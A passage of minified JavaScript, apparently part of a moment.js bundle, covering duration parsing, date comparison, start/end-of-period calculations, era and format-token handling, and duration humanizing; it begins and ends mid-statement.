b(t,this),(t=Gn(t))._a?(e=t._isUTC?f(t._a):Zn(t._a),this._isDSTShifted=this.isValid()&&la(t._a,e.toArray())>0):this._isDSTShifted=!1,this._isDSTShifted}function Ya(){return!!this.isValid()&&!this._isUTC}function ka(){return!!this.isValid()&&this._isUTC}function wa(){return!!this.isValid()&&this._isUTC&&0===this._offset}i.updateOffset=function(){};var Ta=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,Da=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function xa(e,t){var n,a,i,r=e,s=null;return oa(e)?r={ms:e._milliseconds,d:e._days,M:e._months}:c(e)||!isNaN(+e)?(r={},t?r[t]=+e:r.milliseconds=+e):(s=Ta.exec(e))?(n="-"===s[1]?-1:1,r={y:0,d:ce(s[Ge])*n,h:ce(s[qe])*n,m:ce(s[Be])*n,s:ce(s[Ze])*n,ms:ce(da(1e3*s[Je]))*n}):(s=Da.exec(e))?(n="-"===s[1]?-1:1,r={y:$a(s[2],n),M:$a(s[3],n),w:$a(s[4],n),d:$a(s[5],n),h:$a(s[6],n),m:$a(s[7],n),s:$a(s[8],n)}):null==r?r={}:"object"==typeof r&&("from"in r||"to"in r)&&(i=ja(Zn(r.from),Zn(r.to)),(r={}).ms=i.milliseconds,r.M=i.months),a=new sa(r),oa(e)&&d(e,"_locale")&&(a._locale=e._locale),oa(e)&&d(e,"_isValid")&&(a._isValid=e._isValid),a}function $a(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function Sa(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function ja(e,t){var n;return e.isValid()&&t.isValid()?(t=_a(t,e),e.isBefore(t)?n=Sa(e,t):((n=Sa(t,e)).milliseconds=-n.milliseconds,n.months=-n.months),n):{milliseconds:0,months:0}}function Ha(e,t){return function(n,a){var i;return null===a||isNaN(+a)||($(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),i=n,n=a,a=i),Ca(this,xa(n,a),e),this}}function Ca(e,t,n,a){var r=t._milliseconds,s=da(t._days),o=da(t._months);e.isValid()&&(a=null==a||a,o&&ut(e,_e(e,"Month")+o*n),s&&he(e,"Date",_e(e,"Date")+s*n),r&&e._d.setTime(e._d.valueOf()+r*n),a&&i.updateOffset(e,s||o))}xa.fn=sa.prototype,xa.invalid=ra;var Ea=Ha(1,"add"),Oa=Ha(-1,"subtract");function Aa(e){return"string"==typeof e||e instanceof String}function Ia(e){return k(e)||m(e)||Aa(e)||c(e)||Pa(e)||Ra(e)||null==e}function Ra(e){var t,n,a=o(e)&&!l(e),i=!1,r=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"];for(t=0;t<r.length;t+=1)n=r[t],i=i||d(e,n);return a&&i}function Pa(e){var t=s(e),n=!1;return t&&(n=0===e.filter((function(t){return!c(t)&&Aa(e)})).length),t&&n}function Fa(e){var t,n,a=o(e)&&!l(e),i=!1,r=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<r.length;t+=1)n=r[t],i=i||d(e,n);return a&&i}function Na(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"}function za(e,t){1===arguments.length&&(arguments[0]?Ia(arguments[0])?(e=arguments[0],t=void 0):Fa(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var n=e||Zn(),a=_a(n,this).startOf("day"),r=i.calendarFormat(this,a)||"sameElse",s=t&&(S(t[r])?t[r].call(this,n):t[r]);return this.format(s||this.localeData().calendar(r,this,Zn(n)))}function Ua(){return new Y(this)}function Wa(e,t){var n=k(e)?e:Zn(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())}function Va(e,t){var n=k(e)?e:Zn(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())}function Ga(e,t,n,a){var i=k(e)?e:Zn(e),r=k(t)?t:Zn(t);return!!(this.isValid()&&i.isValid()&&r.isValid())&&("("===(a=a||"()")[0]?this.isAfter(i,n):!this.isBefore(i,n))&&(")"===a[1]?this.isBefore(r,n):!this.isAfter(r,n))}function qa(e,t){var n,a=k(e)?e:Zn(e);return!(!this.isValid()||!a.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()===a.valueOf():(n=a.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))}function Ba(e,t){return this.isSame(e,t)||this.isAfter(e,t)}function Za(e,t){return this.isSame(e,t)||this.isBefore(e,t)}function Ja(e,t,n){var a,i,r;if(!this.isValid())return NaN;if(!(a=_a(e,this)).isValid())return NaN;switch(i=6e4*(a.utcOffset()-this.utcOffset()),t=ie(t)){case"year":r=Ka(this,a)/12;break;case"month":r=Ka(this,a);break;case"quarter":r=Ka(this,a)/3;break;case"second":r=(this-a)/1e3;break;case"minute":r=(this-a)/6e4;break;case"hour":r=(this-a)/36e5;break;case"day":r=(this-a-i)/864e5;break;case"week":r=(this-a-i)/6048e5;break;default:r=this-a}return n?r:ue(r)}function Ka(e,t){if(e.date()<t.date())return-Ka(t,e);var n=12*(t.year()-e.year())+(t.month()-e.month()),a=e.clone().add(n,"months");return-(n+(t-a<0?(t-a)/(a-e.clone().add(n-1,"months")):(t-a)/(e.clone().add(n+1,"months")-a)))||0}function Xa(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")}function Qa(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?W(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):S(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",W(n,"Z")):W(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")}function ei(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,n,a,i="moment",r="";return this.isLocal()||(i=0===this.utcOffset()?"moment.utc":"moment.parseZone",r="Z"),e="["+i+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",n="-MM-DD[T]HH:mm:ss.SSS",a=r+'[")]',this.format(e+t+n+a)}function ti(e){e||(e=this.isUtc()?i.defaultFormatUtc:i.defaultFormat);var t=W(this,e);return this.localeData().postformat(t)}function ni(e,t){return this.isValid()&&(k(e)&&e.isValid()||Zn(e).isValid())?xa({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function ai(e){return this.from(Zn(),e)}function ii(e,t){return this.isValid()&&(k(e)&&e.isValid()||Zn(e).isValid())?xa({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function ri(e){return this.to(Zn(),e)}function si(e){var t;return void 0===e?this._locale._abbr:(null!=(t=Ln(e))&&(this._locale=t),this)}i.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",i.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var oi=T("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function di(){return this._locale}var li=1e3,ui=60*li,ci=60*ui,mi=3506328*ci;function _i(e,t){return(e%t+t)%t}function hi(e,t,n){return e<100&&e>=0?new Date(e+400,t,n)-mi:new Date(e,t,n).valueOf()}function fi(e,t,n){return e<100&&e>=0?Date.UTC(e+400,t,n)-mi:Date.UTC(e,t,n)}function pi(e){var t,n;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?fi:hi,e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=_i(t+(this._isUTC?0:this.utcOffset()*ui),ci);break;case"minute":t=this._d.valueOf(),t-=_i(t,ui);break;case"second":t=this._d.valueOf(),t-=_i(t,li)}return this._d.setTime(t),i.updateOffset(this,!0),this}function gi(e){var t,n;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?fi:hi,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=ci-_i(t+(this._isUTC?0:this.utcOffset()*ui),ci)-1;break;case"minute":t=this._d.valueOf(),t+=ui-_i(t,ui)-1;break;case"second":t=this._d.valueOf(),t+=li-_i(t,li)-1}return this._d.setTime(t),i.updateOffset(this,!0),this}function Li(){return this._d.valueOf()-6e4*(this._offset||0)}function yi(){return Math.floor(this.valueOf()/1e3)}function vi(){return new Date(this.valueOf())}function Mi(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]}function bi(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}}function Yi(){return this.isValid()?this.toISOString():null}function ki(){return L(this)}function wi(){return h({},g(this))}function Ti(){return g(this).overflow}function Di(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}}function xi(e,t){var n,a,r,s=this._eras||Ln("en")._eras;for(n=0,a=s.length;n<a;++n){switch(typeof s[n].since){case"string":r=i(s[n].since).startOf("day"),s[n].since=r.valueOf()}switch(typeof s[n].until){case"undefined":s[n].until=1/0;break;case"string":r=i(s[n].until).startOf("day").valueOf(),s[n].until=r.valueOf()}}return s}function $i(e,t,n){var a,i,r,s,o,d=this.eras();for(e=e.toUpperCase(),a=0,i=d.length;a<i;++a)if(r=d[a].name.toUpperCase(),s=d[a].abbr.toUpperCase(),o=d[a].narrow.toUpperCase(),n)switch(t){case"N":case"NN":case"NNN":if(s===e)return d[a];break;case"NNNN":if(r===e)return d[a];break;case"NNNNN":if(o===e)return d[a]}else if([r,s,o].indexOf(e)>=0)return d[a]}function Si(e,t){var n=e.since<=e.until?1:-1;return void 0===t?i(e.since).year():i(e.since).year()+(t-e.offset)*n}function ji(){var e,t,n,a=this.localeData().eras();for(e=0,t=a.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),a[e].since<=n&&n<=a[e].until)return a[e].name;if(a[e].until<=n&&n<=a[e].since)return a[e].name}return""}function Hi(){var e,t,n,a=this.localeData().eras();for(e=0,t=a.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),a[e].since<=n&&n<=a[e].until)return a[e].narrow;if(a[e].until<=n&&n<=a[e].since)return a[e].narrow}return""}function Ci(){var e,t,n,a=this.localeData().eras();for(e=0,t=a.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),a[e].since<=n&&n<=a[e].until)return a[e].abbr;if(a[e].until<=n&&n<=a[e].since)return a[e].abbr}return""}function Ei(){var e,t,n,a,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e)if(n=r[e].since<=r[e].until?1:-1,a=this.clone().startOf("day").valueOf(),r[e].since<=a&&a<=r[e].until||r[e].until<=a&&a<=r[e].since)return(this.year()-i(r[e].since).year())*n+r[e].offset;return this.year()}function Oi(e){return d(this,"_erasNameRegex")||zi.call(this),e?this._erasNameRegex:this._erasRegex}function Ai(e){return d(this,"_erasAbbrRegex")||zi.call(this),e?this._erasAbbrRegex:this._erasRegex}function Ii(e){return d(this,"_erasNarrowRegex")||zi.call(this),e?this._erasNarrowRegex:this._erasRegex}function Ri(e,t){return t.erasAbbrRegex(e)}function Pi(e,t){return t.erasNameRegex(e)}function Fi(e,t){return t.erasNarrowRegex(e)}function Ni(e,t){return t._eraYearOrdinalRegex||$e}function zi(){var e,t,n=[],a=[],i=[],r=[],s=this.eras();for(e=0,t=s.length;e<t;++e)a.push(Re(s[e].name)),n.push(Re(s[e].abbr)),i.push(Re(s[e].narrow)),r.push(Re(s[e].name)),r.push(Re(s[e].abbr)),r.push(Re(s[e].narrow));this._erasRegex=new RegExp("^("+r.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+a.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+n.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+i.join("|")+")","i")}function Ui(e,t){N(0,[e,e.length],0,t)}function Wi(e){return Ji.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)}function Vi(e){return Ji.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)}function Gi(){return kt(this.year(),1,4)}function qi(){return kt(this.isoWeekYear(),1,4)}function Bi(){var e=this.localeData()._week;return kt(this.year(),e.dow,e.doy)}function Zi(){var e=this.localeData()._week;return kt(this.weekYear(),e.dow,e.doy)}function Ji(e,t,n,a,i){var r;return null==e?Yt(this,a,i).year:(t>(r=kt(e,a,i))&&(t=r),Ki.call(this,e,t,n,a,i))}function Ki(e,t,n,a,i){var r=bt(e,t,n,a,i),s=vt(r.year,0,r.dayOfYear);return this.year(s.getUTCFullYear()),this.month(s.getUTCMonth()),this.date(s.getUTCDate()),this}function Xi(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)}N("N",0,0,"eraAbbr"),N("NN",0,0,"eraAbbr"),N("NNN",0,0,"eraAbbr"),N("NNNN",0,0,"eraName"),N("NNNNN",0,0,"eraNarrow"),N("y",["y",1],"yo","eraYear"),N("y",["yy",2],0,"eraYear"),N("y",["yyy",3],0,"eraYear"),N("y",["yyyy",4],0,"eraYear"),Oe("N",Ri),Oe("NN",Ri),Oe("NNN",Ri),Oe("NNNN",Pi),Oe("NNNNN",Fi),Fe(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,n,a){var i=n._locale.erasParse(e,a,n._strict);i?g(n).era=i:g(n).invalidEra=e})),Oe("y",$e),Oe("yy",$e),Oe("yyy",$e),Oe("yyyy",$e),Oe("yo",Ni),Fe(["y","yy","yyy","yyyy"],We),Fe(["yo"],(function(e,t,n,a){var i;n._locale._eraYearOrdinalRegex&&(i=e.match(n._locale._eraYearOrdinalRegex)),n._locale.eraYearOrdinalParse?t[We]=n._locale.eraYearOrdinalParse(e,i):t[We]=parseInt(e,10)})),N(0,["gg",2],0,(function(){return this.weekYear()%100})),N(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),Ui("gggg","weekYear"),Ui("ggggg","weekYear"),Ui("GGGG","isoWeekYear"),Ui("GGGGG","isoWeekYear"),ae("weekYear","gg"),ae("isoWeekYear","GG"),oe("weekYear",1),oe("isoWeekYear",1),Oe("G",Se),Oe("g",Se),Oe("GG",Ye,ye),Oe("gg",Ye,ye),Oe("GGGG",De,Me),Oe("gggg",De,Me),Oe("GGGGG",xe,be),Oe("ggggg",xe,be),Ne(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,n,a){t[a.substr(0,2)]=ce(e)})),Ne(["gg","GG"],(function(e,t,n,a){t[a]=i.parseTwoDigitYear(e)})),N("Q",0,"Qo","quarter"),ae("quarter","Q"),oe("quarter",7),Oe("Q",Le),Fe("Q",(function(e,t){t[Ve]=3*(ce(e)-1)})),N("D",["DD",2],"Do","date"),ae("date","D"),oe("date",9),Oe("D",Ye),Oe("DD",Ye,ye),Oe("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),Fe(["D","DD"],Ge),Fe("Do",(function(e,t){t[Ge]=ce(e.match(Ye)[0])}));var Qi=me("Date",!0);function er(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")}N("DDD",["DDDD",3],"DDDo","dayOfYear"),ae("dayOfYear","DDD"),oe("dayOfYear",4),Oe("DDD",Te),Oe("DDDD",ve),Fe(["DDD","DDDD"],(function(e,t,n){n._dayOfYear=ce(e)})),N("m",["mm",2],0,"minute"),ae("minute","m"),oe("minute",14),Oe("m",Ye),Oe("mm",Ye,ye),Fe(["m","mm"],Be);var tr=me("Minutes",!1);N("s",["ss",2],0,"second"),ae("second","s"),oe("second",15),Oe("s",Ye),Oe("ss",Ye,ye),Fe(["s","ss"],Ze);var nr,ar,ir=me("Seconds",!1);for(N("S",0,0,(function(){return~~(this.millisecond()/100)})),N(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),N(0,["SSS",3],0,"millisecond"),N(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),N(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),N(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),N(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),N(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),N(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),ae("millisecond","ms"),oe("millisecond",16),Oe("S",Te,Le),Oe("SS",Te,ye),Oe("SSS",Te,ve),nr="SSSS";nr.length<=9;nr+="S")Oe(nr,$e);function rr(e,t){t[Je]=ce(1e3*("0."+e))}for(nr="S";nr.length<=9;nr+="S")Fe(nr,rr);function sr(){return this._isUTC?"UTC":""}function or(){return this._isUTC?"Coordinated Universal Time":""}ar=me("Milliseconds",!1),N("z",0,0,"zoneAbbr"),N("zz",0,0,"zoneName");var dr=Y.prototype;function lr(e){return Zn(1e3*e)}function ur(){return Zn.apply(null,arguments).parseZone()}function cr(e){return e}dr.add=Ea,dr.calendar=za,dr.clone=Ua,dr.diff=Ja,dr.endOf=gi,dr.format=ti,dr.from=ni,dr.fromNow=ai,dr.to=ii,dr.toNow=ri,dr.get=fe,dr.invalidAt=Ti,dr.isAfter=Wa,dr.isBefore=Va,dr.isBetween=Ga,dr.isSame=qa,dr.isSameOrAfter=Ba,dr.isSameOrBefore=Za,dr.isValid=ki,dr.lang=oi,dr.locale=si,dr.localeData=di,dr.max=Kn,dr.min=Jn,dr.parsingFlags=wi,dr.set=pe,dr.startOf=pi,dr.subtract=Oa,dr.toArray=Mi,dr.toObject=bi,dr.toDate=vi,dr.toISOString=Qa,dr.inspect=ei,"undefined"!=typeof Symbol&&null!=Symbol.for&&(dr[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),dr.toJSON=Yi,dr.toString=Xa,dr.unix=yi,dr.valueOf=Li,dr.creationData=Di,dr.eraName=ji,dr.eraNarrow=Hi,dr.eraAbbr=Ci,dr.eraYear=Ei,dr.year=gt,dr.isLeapYear=Lt,dr.weekYear=Wi,dr.isoWeekYear=Vi,dr.quarter=dr.quarters=Xi,dr.month=ct,dr.daysInMonth=mt,dr.week=dr.weeks=$t,dr.isoWeek=dr.isoWeeks=St,dr.weeksInYear=Bi,dr.weeksInWeekYear=Zi,dr.isoWeeksInYear=Gi,dr.isoWeeksInISOWeekYear=qi,dr.date=Qi,dr.day=dr.days=Vt,dr.weekday=Gt,dr.isoWeekday=qt,dr.dayOfYear=er,dr.hour=dr.hours=rn,dr.minute=dr.minutes=tr,dr.second=dr.seconds=ir,dr.millisecond=dr.milliseconds=ar,dr.utcOffset=fa,dr.utc=ga,dr.local=La,dr.parseZone=ya,dr.hasAlignedHourOffset=va,dr.isDST=Ma,dr.isLocal=Ya,dr.isUtcOffset=ka,dr.isUtc=wa,dr.isUTC=wa,dr.zoneAbbr=sr,dr.zoneName=or,dr.dates=T("dates accessor is deprecated. Use date instead.",Qi),dr.months=T("months accessor is deprecated. Use month instead",ct),dr.years=T("years accessor is deprecated. Use year instead",gt),dr.zone=T("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",pa),dr.isDSTShifted=T("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",ba);var mr=C.prototype;function _r(e,t,n,a){var i=Ln(),r=f().set(a,t);return i[n](r,e)}function hr(e,t,n){if(c(e)&&(t=e,e=void 0),e=e||"",null!=t)return _r(e,t,n,"month");var a,i=[];for(a=0;a<12;a++)i[a]=_r(e,a,n,"month");return i}function fr(e,t,n,a){"boolean"==typeof e?(c(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,c(t)&&(n=t,t=void 0),t=t||"");var i,r=Ln(),s=e?r._week.dow:0,o=[];if(null!=n)return _r(t,(n+s)%7,a,"day");for(i=0;i<7;i++)o[i]=_r(t,(i+s)%7,a,"day");return o}function pr(e,t){return hr(e,t,"months")}function gr(e,t){return hr(e,t,"monthsShort")}function Lr(e,t,n){return fr(e,t,n,"weekdays")}function yr(e,t,n){return fr(e,t,n,"weekdaysShort")}function vr(e,t,n){return fr(e,t,n,"weekdaysMin")}mr.calendar=O,mr.longDateFormat=q,mr.invalidDate=Z,mr.ordinal=X,mr.preparse=cr,mr.postformat=cr,mr.relativeTime=ee,mr.pastFuture=te,mr.set=j,mr.eras=xi,mr.erasParse=$i,mr.erasConvertYear=Si,mr.erasAbbrRegex=Ai,mr.erasNameRegex=Oi,mr.erasNarrowRegex=Ii,mr.months=st,mr.monthsShort=ot,mr.monthsParse=lt,mr.monthsRegex=ht,mr.monthsShortRegex=_t,mr.week=wt,mr.firstDayOfYear=xt,mr.firstDayOfWeek=Dt,mr.weekdays=Ft,mr.weekdaysMin=zt,mr.weekdaysShort=Nt,mr.weekdaysParse=Wt,mr.weekdaysRegex=Bt,mr.weekdaysShortRegex=Zt,mr.weekdaysMinRegex=Jt,mr.isPM=nn,mr.meridiem=sn,fn("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===ce(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),i.lang=T("moment.lang is deprecated. Use moment.locale instead.",fn),i.langData=T("moment.langData is deprecated. Use moment.localeData instead.",Ln);var Mr=Math.abs;function br(){var e=this._data;return this._milliseconds=Mr(this._milliseconds),this._days=Mr(this._days),this._months=Mr(this._months),e.milliseconds=Mr(e.milliseconds),e.seconds=Mr(e.seconds),e.minutes=Mr(e.minutes),e.hours=Mr(e.hours),e.months=Mr(e.months),e.years=Mr(e.years),this}function Yr(e,t,n,a){var i=xa(t,n);return e._milliseconds+=a*i._milliseconds,e._days+=a*i._days,e._months+=a*i._months,e._bubble()}function kr(e,t){return Yr(this,e,t,1)}function wr(e,t){return Yr(this,e,t,-1)}function Tr(e){return e<0?Math.floor(e):Math.ceil(e)}function Dr(){var e,t,n,a,i,r=this._milliseconds,s=this._days,o=this._months,d=this._data;return r>=0&&s>=0&&o>=0||r<=0&&s<=0&&o<=0||(r+=864e5*Tr($r(o)+s),s=0,o=0),d.milliseconds=r%1e3,e=ue(r/1e3),d.seconds=e%60,t=ue(e/60),d.minutes=t%60,n=ue(t/60),d.hours=n%24,s+=ue(n/24),o+=i=ue(xr(s)),s-=Tr($r(i)),a=ue(o/12),o%=12,d.days=s,d.months=o,d.years=a,this}function xr(e){return 4800*e/146097}function $r(e){return 146097*e/4800}function Sr(e){if(!this.isValid())return NaN;var t,n,a=this._milliseconds;if("month"===(e=ie(e))||"quarter"===e||"year"===e)switch(t=this._days+a/864e5,n=this._months+xr(t),e){case"month":return n;case"quarter":return n/3;case"year":return n/12}else switch(t=this._days+Math.round($r(this._months)),e){case"week":return t/7+a/6048e5;case"day":return t+a/864e5;case"hour":return 24*t+a/36e5;case"minute":return 1440*t+a/6e4;case"second":return 86400*t+a/1e3;case"millisecond":return Math.floor(864e5*t)+a;default:throw new Error("Unknown unit "+e)}}function jr(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*ce(this._months/12):NaN}function Hr(e){return function(){return this.as(e)}}var Cr=Hr("ms"),Er=Hr("s"),Or=Hr("m"),Ar=Hr("h"),Ir=Hr("d"),Rr=Hr("w"),Pr=Hr("M"),Fr=Hr("Q"),Nr=Hr("y");function zr(){return xa(this)}function Ur(e){return e=ie(e),this.isValid()?this[e+"s"]():NaN}function Wr(e){return function(){return this.isValid()?this._data[e]:NaN}}var Vr=Wr("milliseconds"),Gr=Wr("seconds"),qr=Wr("minutes"),Br=Wr("hours"),Zr=Wr("days"),Jr=Wr("months"),Kr=Wr("years");function Xr(){return ue(this.days()/7)}var Qr=Math.round,es={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};function ts(e,t,n,a,i){return i.relativeTime(t||1,!!n,e,a)}function ns(e,t,n,a){var i=xa(e).abs(),r=Qr(i.as("s")),s=Qr(i.as("m")),o=Qr(i.as("h")),d=Qr(i.as("d")),l=Qr(i.as("M")),u=Qr(i.as("w")),c=Qr(i.as("y")),m=r<=n.ss&&["s",r]||r<n.s&&["ss",r]||s<=1&&["m"]||s<n.m&&["mm",s]||o<=1&&["h"]||o<n.h&&["hh",o]||d<=1&&["d"]||d<n.d&&["dd",d];return null!=n.w&&(m=m||u<=1&&["w"]||u<n.w&&["ww",u]),(m=m||l<=1&&["M"]||l<n.M&&["MM",l]||c<=1&&["y"]||["yy",c])[2]=t,m[3]=+e>0,m[4]=a,ts.apply(null,m)}function as(e){return void 0===e?Qr:"function"==typeof e&&(Qr=e,!0)}function is(e,t){return void 0!==es[e]&&(void 0===t?es[e]:(es[e]=t,"s"===e&&(es.ss=t-1),!0))}function rs(e,t){if(!this.isValid())return this.localeData().invalidDate();var n,a,i=!1,r=es;return"object"==typeof e&&(t=e,e=!1),"boolean"==typeof e&&(i=e),"object"==typeof t&&(r=Object.assign({},es,t),null!=t.s&&null==t.ss&&(r.ss=t.s-1)),a=ns(this,!i,r,n=this.localeData()),i&&(a=n.pastFuture(+this,a)),n.postformat(a)}var ss=Math.abs;function os(e){return(e>0)-(e<0)||+e}function ds(){if(!this.isValid())return this.localeData().invalidDate();var e,t,n,a,i,r,s,o,d=ss(this._milliseconds)/1e3,l=ss(this._days),u=ss(this._months),c=this.asSeconds();return c?(e=ue(d/60),t=ue(e/60),d%=60,e%=60,n=ue(u/12),u%=12,a=d?d.toFixed(3).replace(/\.?0+$/,""):"",i=c<0?"-":"",r=os(this._months)!==os(c)?"-":"",s=os(this._days)!==os(c)?"-":"",o=os(this._milliseconds)!==os(c)?"-":"",i+"P"+(n?r+n+"Y":"")+(u?r+u+"M":"")+(l?s+l+"D":"")+(t||e||d?"T":"")+(t?o+t+"H":"")+(e?o+e+"M":"")+(d?o+a+"S":"")):"P0D"}var ls=sa.prototype;return ls.isValid=ia,ls.abs=br,ls.add=kr,ls.subtract=wr,ls.as=Sr,ls.asMilliseconds=Cr,ls.asSeconds=Er,ls.asMinutes=Or,ls.asHours=Ar,ls.asDays=Ir,ls.asWeeks=Rr,ls.asMonths=Pr,ls.asQuarters=Fr,ls.asYears=Nr,ls.valueOf=jr,ls._bubble=Dr,ls.clone=zr,ls.get=Ur,ls.milliseconds=Vr,ls.seconds=Gr,ls.minutes=qr,ls.hours=Br,ls.days=Zr,ls.weeks=Xr,ls.months=Jr,ls.years=Kr,ls.humanize=rs,ls.toISOString=ds,ls.toString=ds,ls.toJSON=ds,ls.locale=si,ls.localeData=di,ls.toIsoString=T("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",ds),ls.lang=oi,N("X",0,0,"unix"),N("x",0,0,"valueOf"),Oe("x",Se),Oe("X",Ce),Fe("X",(function(e,t,n){n._d=new Date(1e3*parseFloat(e))})),Fe("x",(function(e,t,n){n._d=new 